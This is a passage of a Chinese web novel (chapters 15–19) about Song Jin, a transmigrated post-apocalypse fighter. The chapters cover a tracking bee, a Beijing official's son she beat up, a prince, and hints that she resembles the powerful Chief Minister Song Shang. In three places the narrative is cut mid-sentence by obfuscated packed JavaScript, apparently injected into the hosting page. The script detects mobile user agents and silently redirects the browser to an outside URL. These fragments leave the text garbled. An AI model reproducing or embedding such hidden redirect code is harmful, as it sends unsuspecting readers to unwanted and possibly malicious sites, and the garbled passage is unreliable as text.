再看看宋锦笃定张扬的模样,另一种怀疑又涌上心头 他问:“你这两天,没招惹什么大人物吧?” “当然没有” 宋锦毫不犹豫地说着,本来自信满满,但是突然又想到了上山之前干的事,她又有些怀疑了起来 “吧?” 她捏捏呆头蜂,怎么看怎么不觉得,这玩意儿和传说有什么关系 但是,她转,它转,她跑它跑,她再跑,它还跑 几次试验下来 王老二在一边凄凉开口:“咱家茶园无了” 宋锦:…… 茶园无不无不好说,她应该是无了 15. 第 15 章 宋锦在末日时候是个厉害人 他们基地总共十八个总队长,她就是其中之一,还是最年轻的那个 她二十来年出的大小任务她都记不清,但这些任务涉及的种类可太多了,爬山当顿,化学物质防护少不了,物理搬运更是必须的…… 这般下来,物理化学她多少得沾点,生物就更别说了,那是保命的玩意儿。按照某种程度来说,她是标准理科生——只会实践不会书面的那种 经常用到的知识都这般,更别说平日用不到的语文历史这些了 在末日,只有那些上层人家大家族才有心心思学这些。像宋锦这种武力担当,吃喝不缺,物资也多,但是到底只为生存 她就是标准的文盲,只能说看得懂字 所以宋锦对于她们那个时候的古代生活不是很了解,但是再不了解,她也很笃定,她穿来的朝代不是以往任何一个朝代 毕竟,她也没听说过哪个朝代叫大衍的,也没听过古代能有那么多稀奇古怪的玩意儿 就像面前这种呆头蜂 就说科学吗科学吗? 一个破蜜蜂还追踪人不放了 宋锦眼神一眯,威胁地看着那呆头蜂:“你说我直接拍死它” 王老二只能努力回忆,然后叹气:“它的气味就会沾在在场的人身上,难以洗掉,更好追踪” 宋锦磨牙:“那把它关起来” 王老二悲怆:“摸过就会留下气味,洗不掉” 宋锦:“……” 谁家正经古代来这些啊 不过话又说回来,这边连内力轻功都有,有点奇怪的小玩意儿也没那么奇怪 但是 宋锦苦大仇深地看着呆头蜂:“那现在怎么办?” 王老二紧闭双眼再睁开,深吸一口气:“宋小姐你走吧,你就一个人走吧,让我一个人面对那些大人物吧。我无儿无女无父无母,要不是宋小姐你当初收留,我早就死了。您记得帮我屋里藏在墙角下钱罐子的钱取走,免得便宜了姜迁那王八蛋” “停停停,别要死要活的”宋锦打断王老二的话,无语得翻了个白眼 “多大点事啊,别说还不一定是这样的,就算是” 王老二:“是又怎样?” 宋锦卡顿:“就,就那样呗,等人找上来再说,你先回去吧,一人做事一人当,实在不行,就” 王老二看着她突然露出的微笑,心中涌上一股不妙的感想:“就什么?” “就再说呗” 宋锦打了个哈欠,伸伸懒腰往后背一搭,洋洋洒洒走开,敛住眸底的暗光 还能怎么呢? 讲道理呗,那人讲道理最好,不讲道理,巧了,她也是不讲道理的人 ** 再说这边 宋行之无端被狠揍一顿,又被嘲讽一顿,面上不说,心中还是一阵火气,直接拿出了压箱底的东西 千里蜂 那是他们家特有的的绝杀,需从小以他们的血液为引,配以珍贵密药,培育整整六年才算成功 就这,一窝千里蜂的数量也远比普通蜂子少,而其中能用的也不过一成,其中每只也只能追踪一次 其珍贵不言而喻 而如今,为了这不知名的小贼便用掉一对 宋行之想想都咬牙切齿:“狗贼,这辈子你也死而无憾了” 他说着,目光还紧紧盯着前方的呆头蜂,手中的丝线随着它飞动轻松,一瘸一拐地跟在后面 那狗贼动手太狠了,他虽然没缺胳膊短腿,但是外伤可不轻,淤青得十天半个月才消失,内伤就更别说了 最重要的是,他的脸,他的脸啊,青青紫紫不说,现在还肿了起来 让那厮给他上药也被拒绝,现在就顶着那张肿脸,谁还分得清他是癞蛤蟆还是天鹅啊 宋行之保证,等他抓到那小贼,他一定要剁了他的手脚,给他五马分尸,泡进酒罐,让他下辈子都忘不了 打人不能打脸! 宋行之气急,一瘸一拐的也走的飞快,想要抓人的心强烈到了极点 李青山陪着齐铮走在后面,看着宋行之那模样嫌弃极了,他低声说道 “也不知道这人是来干什么的” 没有旁人在这,他说话的态度要随意不少 李青山是江南小县城的小富家子,后面家境败落,他便跟着镖行跑镖 他小时候跟着游历路过的方士学了拳脚,武艺不错又识字,得知武举人选拔,他抱着试试心态参加,没想到选上了,成绩还不错,得以留京当个小武官 这在他们那边是值得大贺的事,但放到偌大京都,他就跟蚂蚁一样,不值一提 干了几年,他都打算想办法调离都城,或者辞职继续去弄武行了,没想到被上面选中给新找回来的王爷当侍卫 直接一步登天 李青山对此很是困惑,毕竟,他虽然在当届成绩不错,在任也没犯什么错,但是也没什么突出的表现 他忧心忡忡地面见王爷 才发现这人竟然是他曾经一个镖行合作过的高手,当时他们运送一批价值连城的货物,生怕出了意外就高价找了外援 也就是齐铮,他当时名叫严铮,是一名出入江湖的小少年,年纪轻轻武艺高手神秘莫测,一个人行走江湖 李青山当初和他关系不错,甚至想过和他一起行走天涯,但是 年少稚气的严铮漆黑的眸瞥着他,淡淡道:“你功夫太弱了,跟不上我” 现在的齐铮颀长坚毅,眼眸漆黑幽长,面对李青山的嫌弃,淡淡:“你人太木了,比不上他” 宋行之确实风流,有时候吊儿郎当看起来不太靠谱,但是心思缜密,干成过不少大事,很得看重 一开始,他就制定好了搜寻计划——只不过齐铮自己取代了他一开始找的上山探寻的人,提高了效率,也提高了难度 宋行之的任务从简单找矿山,抓匪患幕后凶手,变成了保护齐铮安全,让他看起来没出什么力 但是不然,他早在一开始便算好了一切,有齐铮没齐铮都不会出现太大问题。他的主要目的,还是监视他 齐铮目光瞥过前面看着跟疯子一样的宋行之,一点也不会掉以轻心 皇位之争,向来如此 他一个外面找回来的,没根没底,谁知道其他那些个‘兄弟’会打什么注意,他得谨慎起来 齐铮提醒道:“不管怎样,他都是宋首辅的长子” 他身为王爷,虽然周围危机四伏,但是明面上,除了他亲爹没人能给他脸色 李青山作为侍卫,真被抓到手脚或者特意针对了,即便身为贴身侍卫,他这个无根无地的王爷真不一定保得住他 齐铮想想,脸色又冷冽了几分,绷着唇:“不要放松警惕” 李青山一愣, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037386|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刚出都城的时候,他对宋行之这个宋首辅的长子,和大皇子关系甚好的吏部侍郎很是警惕,但是现在 也不知是从何开始,他的警惕消失无影,只剩下对人的嫌疑 再回想这段日子发生的事,李青山心中一惊,脸色难看起来,好一会儿他才安抚住心中惊意,郑重起来 “卑职知道了,卑职后面会警惕起来,不过前后态度变化会让宋大人怀疑,不如我继续保持这般态度,再打探一番” 齐铮神侧头看他,神情高深莫测,一言不发,看得人都忐忑了,他道 “不用,你干不了这活” 李青山:…… 啊,好熟悉的表情,好熟悉的嫌弃啊 他当初说要跟着这人一起闯江湖的时候,这人就是这般的 李青山泄气:“卑职知道了” 齐铮看他如此,神情一顿,忖度着该如何安慰人,那边突然传来宋行之激动的声音 “就在前方,那小贼,小金说的,就在前面山里。小金真棒”宋行之说着扯到了嘴角,他嘶了一声,捂着脸龇牙咧嘴,恶狠狠 “小贼,给我等着,非得扒了你的皮不可” 齐铮缓缓走了过来,抬头看着眼前的茶园,目光幽深没有说话 宋行之的伤他也看了,全是内力打伤的,力道控制得极其可怕,透了肉不伤骨,看似不严重,但极其疼 这下手之人功力极深,行事又极有分寸 他也有些好奇,这么人物在这种不起眼的小村子为了何时 寻仇、逃难,亦或者别有所图? 宋行之确定了地方,拉住村子里安排给他们的人,指着茶园狰狞问道:“那里面是什么?” 被安排的人正是茶园的管事之一姜迁 一开始领了这个差事他就很不情愿,这群人虽然出手大方,随随便便都是银钱,但是瞧这鼻青脸肿的,口口声声小贼,多危险啊 姜迁不乐意,但是又怕得罪人,只能苦哈哈跟着带路,带着带着他就觉得不对了,直到一路进了茶园 他顺着宋行之手指的方向,看着自家茶园楼房,整个人都是僵的,脚也有点软,久久说不出话来 话说,他现在跑还来不来得及? 宋行之很快就注意到姜迁的不对劲,扯住他的领口,狰狞一笑:“怎么,你认识啊?快说,再不说连你一起收拾,给你关进大牢,剥皮抽筋” 姜迁双腿更抖了,一个脚软,直接倒地大喊:“官老爷饶命啊,草民真的什么都不知道啊,草民清清白白哪里知道是谁那么大狗胆打了您。草民就是一个普通乡下汉子,家里上有八十岁母亲,下有三岁孩子,媳妇儿痴傻,家里全靠我,我要是出事了,他们怎么活啊……” 那声音大的,在山间形成回音 宋行之顺间发现不对,狰狞神色收起,冲着一边的李青山道:“直接进去搜,我就不信这都能让那狗贼跑了” 李青山没动 宋行之怒:“都什么时候了” 李青山还是没动,只是给他个眼神示意他看向前方 “看什么看,光看着那小贼就出来了?他要是敢出来,我让他跪着叫爹,爹”宋行之说着扔开狰狞转头,下意识一愣,随即脚一软跌在地上,不可置信喃喃 “爹?” 事到临头依旧嚣张肆意踩着着六亲不认步子出来的宋锦:? 啥,城里人这么客气的吗? 16. 第 16 章 宋锦喜欢浓艳的颜色,即便是青衣,也是竹林间最靓的那一棵。 她眉眼飞扬,神色潇肆,踩着草食,就在姜迁的喊叫声中大摇大摆地走了出来 远远的,她就看到那边一群眼熟的人,第一眼就是那最高的冷竹子,再一看 哎嘿,那鼻青脸肿的丑八怪,就是那混球了是吧? 宋锦仰着脑袋继续大步过来,半点不带心虚的 别着急,她自有主意 宋锦都提前酝酿好了对付之际,应对的话就在嘴边了,就看到宋行之一个踉跄摔地上,声音都破音了 “爹?” 她立马乐了,揪住跌跌撞撞跑过来的胆小鬼姜迁,不听他说话不看他眼神,给人一扔,拍拍手大摇大摆朝着前方走去 “哟,这谁啊,这么客气?我当不了你爹哈” 所有人:…… 不给他们说话的机会,她转头又看向那边的姜迁,痛心疾首地指责道 “这人是干了什么丧心病狂的事情,你把人打成这样?再打的事也不能这么干啊,又是我们找官府,可不兴动用私刑。你还把人带到茶园,怎么,打算偷偷卖了茶园给你平事?” 一句话惊呆两伙人 “什么?我打的?”姜迁尖叫,他怎么不知道啊,不对,他立马摆手,惊慌解释 “不是我,绝对不是我,我连鸡都不敢杀,哪里可能打人了” 宋锦恍然:“我就说你家鸡是你媳妇杀的吧,你着白斩鸡的怂样哪里杀得了鸡” 姜迁下意识:“我怎么就不敢杀了?我是不忍,不忍,宋锦你别污蔑人” 宋锦挑眉:“污蔑?你太高估你自己了” …… 眼瞅着两人越说越偏,那边倒在地上的宋行之呲牙咧嘴地站了起来,那青青紫紫肿起的脸上藏不住震惊,他甚至忍不住擦了擦眼睛,疼得嘶了几声 “怎么可能”宋行之喃喃,忍不住往前走了几步,想要仔细看清楚 这眼睛这鼻子这张脸 宋行之越看越有种惊悚感,惊悚到在宋锦他们乱七八糟的对话里,依旧是后退一步,就跟见了鬼似的 看得众人一阵莫名其妙 毕竟,在之前,他可以扬言要把人挫骨扬灰五马分尸的 李青山站在一边,看着那冒出来的女人,嘴角一抽,他记得,这人不是被他拦在外面冷吗?怎么进来的? 但是现在更吸引他注意的是反常的宋行之,他有些摸不着头脑,问道:“爷,他这是怎么了?” 难不成,又被美色迷了眼? 但是据李青山这一阵子的观察,这人喜欢的是那种柔弱温顺的美人,眼前这人,明艳张扬,洒脱肆意,一看就是不好惹的那种 感觉不太应该啊 齐铮冷肃着脸站在一边,反问:“在都城多年,你见过宋首辅吗?” 李青山更是摸不着头脑了,但还是老实摇头:“我一个小小武官,怎么有资格见到宋大人” 齐铮神情立马高深了起来,沉沉地打量着李青山这个故人,还记得以前在镖行的时候,这人也是意气风发,甚至还想和他去闯荡江湖 没想到再次见面,这人就跟木头差不多了 朝堂,果然深不可测 齐铮神情莫测,沉沉道:“宋大人容貌出色,姿态端庄,乃文人楷模” 李青山:…… 他是不聪明,但是不代表傻啊 没见过人还没听过吗? 那什么心狠手辣六亲不认乱臣贼子,才是文人嘴里最经常出现的 齐铮见他不语,继续道:“似他三分者,居常人之上,似他七分” 李青山搭:“似七分如何?” 齐铮看向那边张扬肆意的女人,神情莫测,沉沉:“似她七分,算她倒霉” 李青山懵:“啊?” 他怎么听不懂啊 不过也不需要他听懂,齐铮就是这么一说 他也没想到会在这里见到宋锦,早在之前在文渊书院见到人的时候,他便发现这人长得十分像当朝首辅宋商 只不过,长相虽有七分相似,但是两人神态气质截然不同,生生把相似拉成五分,让不熟悉的人很难联系上 尤其是在这偏远小县,进京见过宋商的人屈指可数,极少数见过人的,也对其抱有善意,只觉凑巧,不觉有他,不会想到这世间的人有多险恶,会干出多少龌龊事 齐铮早年便在江湖听过宋商不少名头,当时不以为然,江湖人士见风便是雨,那湖边出了一条长蛇都能变成蛟龙的,他一直以为那些话是夸张之言 直到他后来因一面之缘便被宋商找上门,带他回都城验明身份 一路相处下来,他对那人有个大致了解,表面温文尔雅清微淡雅,实则内里强硬,心狠手辣,但出手又兵不刃血,是个非常可怕的人 不然,他也不能从建朝起到如今十八年,牢牢占据首辅位置,一人之下万人之上,纵使大部分人恨他,却也畏他惧他,不敢当面多说一句 就这么一个人,最让仇人痛快的,就是他年过不惑,却无一亲子,后院也空无一人,身边仅有收养的几个养子 大衍朝重血缘,养子和亲子差距甚远,在外人看来他便是孑然一身,形单只影,让人拍手叫好,好不痛快 而现在,好像出现一点小意外 齐铮本来还想后面再查探查探,没想到这会儿遇上了,他瞥向那边震惊不可置信的宋行之,知道自己应该是派不上用场了 虽然说皇室争斗不断 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那木模样,简直是要姿态节有张脸,要礼貌有张脸,要文化有张脸,野得不得了 更喜爱柔弱温和女子的宋行之心头一梗,提醒道:“小姑娘家家的,说话注意点” 宋锦呵呵:“大男人家家的,不会说话就闭嘴” 说着,她拿起一直放在手侧的签子,毫无形象地往嘴里一塞,然后咔吃咔吃地咬了起来 宋锦就这样一边咬一边打量着这群人,像是什么也不知道一样,没好气地问道 “这可是我家茶园,你们这群人闯进来干什么?还拉着我家管事,玩笑归玩笑,真说贼,他这怂活可干不出来,你们大地方来的人也不能随随便便污蔑人” 宋行之已经不在意这一点了,他的注意力先是被宋锦的脸吸引,到现在,他的目光死死落在了宋锦嘴边 烧烤串上 那签子半手臂长,上面串着些竹虫蚂蚱蜂蛹蜜蜂 宋行之一眼就看到了上面的圆头圆脑圆肚子的大蜜蜂,发出一声灿烈的尖叫,然后冲了过去,抢过烤签,悲痛地看着自家千里蜂 “你怎么在这里啊啊啊你怎么,怎么,是我对不起你啊小金,你死得好惨啊……” 宋锦就站在那里,嘴上沾着点油和香料,翘首以待欣赏着宋行之的惨痛,直到小金这个名字出现,她笑容消失,面无表情地看着这人 然后,她一把抢回那签子,徒手把上面的东西全部呲了下来,把其他的往嘴里一塞,独独把那只清秀的呆头蜂尸体捏在手边 她嚼嚼嘴,威胁道:“不想让它进肚,就换个名字” 所有人:…… 17. 第 17 章 宋锦上辈子是勤勤恳恳的老实干活人,每天两眼一睁就是干,基地十二个队,她这队任务量年年第一 她那辈子,除了干活还是干活,直到那天两眼一闭,她就穿到这边,有了牛铁兰这么个宠崽亲妈 管你掀房打瓦,打架骂人,只要不是她的错,牛铁兰就绝对站自家闺女这边 什么不像女孩子,什么以后没人敢要,什么得罪人…… 牛铁兰通通不在意,她只要自家崽好好长大,安全长大,开开心心,随心所欲…… 当然,有时候还是有点分寸就更好了 看着家门口找上门的苦主,牛铁兰眼皮跳了起来,实在很难把面前这人和之前的结合起来 上一次见面,这人虽然有些轻佻风流,但是到底白面如玉,风度翩翩,一看就是都城来的公子哥 现在,他黑色布衣简单木冠,那些玉佩金丝全然消失,简单朴素得就差带着佛珠了,站在那里不知道还以为就在普通镇上青年 这不是关键,关键是那脸上的青紫异常,虽然看不出肿胀了,但是一看也是近日的。还有走路,即便他竭力掩盖,依旧还是难掩跌撞 一看就是遇了事的 依照牛铁兰十来年的经验,这种情况下找上门的,不是苦主,就是苦主 但是这次的苦主明显不太一样,京都来的身份不简单,也不是好脾气的, 短短的一个照面,牛铁兰已经在心里盘算家里的财产是多少,够不够赔,赔完她们后面该搬去哪儿…… 她思绪千般,对面的宋行之也不遑多让,甚至更胜一筹 激动、震惊、迷惑、怀疑、后怕 宋行之来之前只打听到,上次见过的极像他父亲的女子叫宋锦,和寡母牛铁兰相依为命 牛铁兰三个大字,一听就十分刚强,联想着上次见面时宋锦的模样,一个泼辣强硬的女子形象跃然眼前 就是有点点耳熟,不过名字不重要,这东西是最容易伪造的,他和林镇长打听其他的,得知母女俩是从外地过来的…… 不知过往、姓宋、容貌出众、外地 怎么想怎么都是那个可能,他便打算上前再试探一番,最好能知道她们具体是从哪里来的 一个府州县镇可太多了,看不出什么,他也没那么多时间等待 宋行之便亲自上门,想要先试探一下,就算是不能直接得到结果,也能先了解一下人,根据人的性格来想想后面的相处 是的,不管是或不是,他都一定会把人带走 这般相似的容貌,以往在这山野乡村无人注意便算了,这以后,若是被那些个他们的仇家发现 宋行之都不敢去想那些人会用什么恶心的手段来折辱人 于公于私,他都不可能放任不管 就是,当牛铁兰走出家门的时候,宋行之的眼前有些发黑 怎么是这人啊 他就说名字怎么这么耳熟,感情是之前听过那么多次,他当时就记得个蕙质兰心的兰了,还在心里夸这名字好 哪想到兰前面是铁牛 宋行之笑不出来了 这段时间走了多地,见了那么多美人儿,但是真长在他心坎里想带走的也就这一个,合心意到即便知道回去会被收拾,他都打算一试 没想到啊 宋行之惊疑之下,又是一个踉跄,脸上也显示出了悲痛神色 不管真真假假,他都没这个机会了 怎么能这么巧啊 这母女俩哪里像了?哪里像了 牛铁兰不动他的忧伤,见他这个样子心里更是一咯噔 这都打成什么样了啊 这倒霉闺女 她担忧地看向旁边的林镇长:“镇长,这是怎么了?” 林镇长也纳闷呢,这之前宋行之过来问东问西,他还以为这是想把人带走,特意提醒了他宋锦不好惹,也和宋锦说了这人打听的事 再多的,他一个小小镇长也管不了那么多 哪知道,他这两边提醒 宋锦那儿天不怕地不怕,也不去找找救星,就这样干等着 这宋公子这边看起来听得仔细,现在看着这是啥也没听光打瞌睡了,这在震惊啥呢? 林镇长不懂,但是他要面子,故作了然地笑了笑,拉长语调:“有一桩大好的喜事” 虽然牛铁兰和宋锦的日子确实不错,但是那也仅限于乡下。而且母女俩相依为命,孤苦伶仃,一个身体不好一个脾气不好,再怎么找对象,也好不到哪儿 这宋行之就不一样了,都城来的公子哥,那一身行头都抵她们半年营收了,又有势力又有文化,长得还好 林镇长作为土生土长的古代人,觉得给大家族人当妾,并不比给普通人当妻差什么 虽然,他之前以为宋行之看上牛铁兰,后面他再这么一打听,好像又看上宋锦了 林镇长不懂,并且大为震惊,只能感慨都城来的人就是会玩,但是他得罪不起人,只能听着 至于这边,他已经提醒过了也算仁至义尽 虽然,牛铁兰并没有被提醒到位,她什么也不知道,只是看着这两个大男人个鬼样子蹙起了眉 然后 她一把关起了门,留下小缝,缝隙里她苍白着脸色咳嗽不断,声音断续 “咳咳,我昨晚上又感染了风寒,金金进城给我拿药去了,咳咳,你们一个年纪大了一个身子不好,可别跟着染上风寒,还是离我远点的好,有什么事就在门口说吧……” 两人:…… 污蔑,这纯属污蔑了 谁身子骨不好/老了啊 ** 泗安县回春堂里 看着风风火火跑进来的人,老刘头掀掀眼皮,问:“你娘又怎么了?” 宋锦急匆匆:“她吃葵花籽吃上火了,咳个不停” “……”老刘头沉默,然后拿起一边的树皮砸了过去,没好气道 “多大点屁事,你急什么急?拿点枇杷叶百合陈皮煮一下,喝两天就好了。再不行你不能熬青竹沥吗?” 非要跑过来气他,这死丫头 宋锦拿着树皮放了过来,又把手头的布包放在那边,撇了撇嘴嘀咕 “这还不是要给你带东西,再说了,我那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052294|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西可没有你这边年头多” 老刘头气急:“我那好东西都是留着治病看人的,可禁不住你当饭造” 宋锦瞪天:“那你东西还要不要?” 老刘头也瞪她:“……老子凭什么不要?” 他把手头的活放下,打开布袋子一看,哟嚯一声,忍不住抚摸了起来 “多好的料子啊,拿去坐披风多好,做靴子也太浪费了,我个老头子哪里用得上,我现在又不上山……” 宋锦抱胸站在一边,挑眉:“这你不说我也知道,这也不是给你的啊,是给阿婆的,她年纪大了,还喜欢走,冬天冷,穿鹿皮靴舒服点” 老刘头被她噎住:“……得,是我自作多情了” 他老娘个头不高,就是脚大,在外绰号马大脚,和他一个号 宋锦哈哈:“哪儿能呐,这不是两双嘛,你和阿婆一人一双,还有手套,磨药的记得戴,一把年纪,别以为还和年轻时候一样” “我才五十三,哪里老了?”老刘头又是感动又是气,梗着脖子,那嘴角的胡须飘飘,怎么看怎么也是老头样 宋锦没忍住扯了扯他胡子 老刘头啪一巴掌拍过去,吹胡瞪眼:“死丫头,我看你欠抽” 宋锦嘿嘿一笑,自己溜达过去,熟练地找上自己需要的药材,那是差一点的不要,好一点的勉强,最极品的全要 老刘头心疼得直抽抽,嘴里直呼死丫头 宋锦脸皮厚,任由他骂,收好东西又跑了过来,坐在他面前,杵着下巴,双眼发光 “老刘头,你是正经御医出身吧?不是打噱头骗人什么的吧?” 老刘头嘴角一抽,嫌弃地挥手赶人:“一边儿去,别在这里气我” 宋锦眨眼:“那我问你,你见过皇上没有?他长得怎么样?” 老刘头脸色一变:“死丫头,什么话都敢乱说,圣上是你能随便议论的吗?我看你是嫌脑袋太重,不想要了” “我又没在外人面前说,这里就我们两个人,别这么严肃”宋锦撇撇嘴,眼眸一转,又道:“行吧行吧,不说他了,那你给我说说那个大奸臣宋商呗” 老刘头脸色更是巨变 宋锦再次被赶出回春堂,她站在门口,撇着嘴,也有些气急败坏了:“这胆小的臭老头” 她话还没说完呢,她其实主要是想问问那个宋行之旁边的竹子王爷 打探出这人,再打探打探那个同样姓宋的,她可是对他那天的奇怪反应很感兴趣咧 可惜老刘头太胆小了,当初据说就是被牵扯进了一桩案子,亲眼看着同僚在面前被残忍分尸,他也被赶出皇宫,现在对那大奸臣的名字都有后遗症了 看样子是打探不出来什么了,她眼眸一转,咧着嘴从小黑的背上拿出一条长木盒,里面是根须饱满的五十年人参 她骑着小黑就哒哒哒朝着府衙走去 泗安县最了解这些东西的,除了老刘头就只有肖县令了,刚好,肖县令妻子身体不好,他一直在找人参 这玩意儿,她最不缺了 都说有钱能使鬼推磨,她就不信她什么也问不出来 18. 第 18 章 宋锦就这样哒哒哒来到府衙,衙役们都认识她,也没拦她,就让她走到里面等着,和她相熟的衙役甚至给她端了茶水 都不拿对方当外人 罗衙役:“肖县令在审犯人,不一定有时间接见你,你先等一等,我去递个消息看看” 宋锦没想到这么不巧,她也不介意,乐悠悠道:“成,辛苦罗哥了,不行我明日再来也一样” 罗衙役笑:“也就是你了,一般人进城可没这容易。昨天还有底下镇子进城的,路上就碰上大蟒了,还好没人出事” 宋锦:“哟,那是,还好没人出事,这玩意儿跑得慢,要是大虫熊瞎子就危了” 罗衙役:“是啊,每年都有不少这种事,倒是你们那边没听说过” 宋锦嘿嘿一笑:“有我在,我看什么妖魔鬼怪敢过来” 罗衙役:“哈哈” 两个人说了一会儿,罗衙役看着时间朝着大牢走去 县里大牢修在地下,里面很是黑暗,大热天也带着湿凉,冬天更是沁骨,又因为没有厕所,全靠夜壶,还有审讯,里面骚臭为血腥味聚在一起,格外的难闻 进来的罪犯就没有不剐层皮,那些犯了大案的人,更是连骨带肉都要扒下两层 肖县令早就习惯这样的环境,这年头人大部分朴实,能犯罪的多是险恶之人,不用点手段根本不会说实话,尤其是面前这种手上不少人命的喽喽 酷刑有用,就是场面有些血腥,他很担心吓到面前这位天潢贵胄,不过出乎他的意料,面对这些酷刑,齐铮眼睛都不眨一下的,就跟看寻常打架似的 感受到他的疑惑,齐铮开口道:“以前当过行一段时间镖师,路上匪徒张狂,死了不少人” 死人都见过,甚至动手杀过,自然不会害怕这点小场面了 肖县令心中了然,也多有猜测,这位民间长大的王爷,这些年应该是吃过不少苦头的。不过吃那么多苦,还长这么高 只能仰头看人的肖县令心中沉痛 齐铮没有继续说下去,话多年闯江湖经验告诉他,有时间能少说话就别说话,说多错多,不如让对方自己揣测 两个人就这样走到了牢房最里面的审讯室里,看着那上次山里抓回来的灰衣犯人 他主要负责管理矿里的人和清点矿产,一开始他还装懵,表示自己什么都不知道,只是听命 等到酷刑一下,他没一会儿就交代了个清楚 什么时候到这银矿的,这两年开采了多少出来,手下死了多少人…… 简直是罪大恶极,死不足惜 齐铮和肖县令一起听着审讯衙役说着这段时间审问到的事情,纷纷皱起了眉头 虽然早早便猜到这种黑矿下肯定不会待人多好,但是这拿人命当草芥的态度,让两个草芥出生的人难以接受 看着他东一块西一块的疤痕裂肉只觉得不够,便一边看着审出来的东西,一边默许了那个衙役继续无意义的审问 知道罗衙役走过来递消息:“肖县令,宋锦过来了,好像找你有事” 肖县令下意识看了眼旁边的齐铮,皱眉道:“今日无空,让她明日来吧” 罗衙役正要点头,一旁齐铮听到宋锦的名字,落在犯人身上的目光一顿,说道 “审得也差不多了,都是些小喽啰问不出什么,主要消息还是在之前逃走的人身上。大按村那边查出来了吗?” 他说着,转身朝着外面走去 肖县令赶紧跟上,他个子比齐铮矮了大半个头,得小赶两步才追得上他快走一步 肖县令:“没什么消息,那人就是村子里的人,平日出行也谨慎,村里人没看出什么不一样,近点的又被杀了……” 两人一前一后出了牢房,里面的哀嚎声渐渐消去,但是鼻尖依旧带着牢里的腐臭 齐铮想到了一些往事,停下了步子站在原地,湿热的风打在他脸上,让他神色越发莫测,看得肖县令下意识噤声 只能说不会是当今的亲子,正脸的时候还不是很像,侧脸,让他一个只远远见过当今数面的人都能看出相似 过了有一会儿,肖县令看着没什么表情的齐铮,试探道:“这派出去的人拦路搜山,暂时还没有消息,王爷审了这么久了,不如先休息一下?” 那大牢气味着实难闻,他一个县令每次进出都得做半天的心理预警,就更别说齐铮一个王爷了 当然,肖县令还是想知道宋锦找他干什么,这人没事基本不会上门,不知道是不是碰上什么事了 她性子一向大大咧咧,要是得罪了人一点也不奇怪 不说她那张脸,就说她为县里铲除的那些匪徒,肖县令都不会无视她 齐铮从往事中脱离,瞥了瞥小心翼翼的肖县令,即便已过半年,还是会有种莫名的荒诞感 在半年前,他还是被一县令不放在心上随手通缉的小贼,半年后便是郡守对他都要小心翼翼了,这世间可真的荒谬 齐铮:“你要去见那宋锦?” 肖县令一愣,没想到他会这么问,但是很快又反应过来,这王爷可是首辅从外面带回来的,肯定也看得出相似 他有些不好意思,诚恳道:“早年是宋大人助我脱离苦海,他助我良多,我却无一点回报,见到与他相似的人便忍不住多注意几分” 见他这副模样,齐铮也分不清他是真心还是假意,转而说道 “前阵子,宋行之见到了这人,在打探她的消息” 肖县令一愣,旋即哈哈大笑了起来:“宋公子不会是觉得宋锦是宋大人的孩子吧?巧了,我当初也有这种猜测,特地找人查了查,虽然确实有些巧,但是……” 不然依照他对于宋商的崇拜,他早就把人送回去了 宋大人什么都好,就是子嗣运上面差了一点。但是又想到自家五个熊孩子,肖县令又摇了摇头 子嗣运太好也不一定是什么好事咧 ** 肖县令和齐铮到的时候,宋锦坐在县衙招待人的厅里,和她相熟的衙役们 摇着骰子 衙役一号:“四五三,十二点嘿嘿” 衙役二号:“二六六,十四,下下下,这把绝对我赢了” 宋锦手中骰盖一开,眉头一挑,笑得眉飞色舞:“一一一,三个点,但是,看似输了,实则赢了,你们谁弄过这么顺的” 衙役们大笑:“哈哈哈输了就是输了,又不是六六六,快点把赌注拿出来” 宋锦摇着脑袋叹气:“行吧行吧,我这压箱底的东西啊” …… 身边站着个王爷的肖县令远远看着脸都绿了,压着气大步走了过去,沉沉 “好玩吗?” 几个衙役立马噤声,有些局促慌张地站起了起来:“县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐铮瞥了瞥她没个正形的样,想到都城那些个口口声声礼节、教义、规矩的老头们,他已经可以想象把人带回去之后会是怎么一番鸡飞狗跳的样子 想到这,他微微勾了勾唇,似冰雪融化,又很快冻了回去 “无妨,少年人活泼点才好,听说你找肖县令有事相商,我贸然前来,希望不打扰你们” 宋锦嬉笑:“自然不会,我哪有什么正经事啊,就是之前在山中找到一根人参,想着县令夫人可能需要,特意送过来的” “您瞧” 肖县令听到这话,心中一喜,再一暖,再一看,他面色一僵,紧接着深深沉默,脸上也出现为难之色 宋锦有些奇怪:“怎么了?不合您的心意?” 肖县令闭了闭眼,好一会儿伸手推拒,艰难开口道:“太贵重了,没钱” 他给妻子买过不少人参,其中最贵重的也不过四十年,花了他五百两银钱,已经是极限了 要知道,他为官清廉,换算下来,每年的俸禄也不过一百五十两,吃穿车马一去,妻子常年拿药,几个孩子读书…… 一年到头根本攒不下来钱,之前买人参也不过是那接任费撑着 现在那些钱也花得差不多了,面对这上好的人参,他的钱包实在是有心无力啊 宋锦:…… 大意了 19. 第 19 章 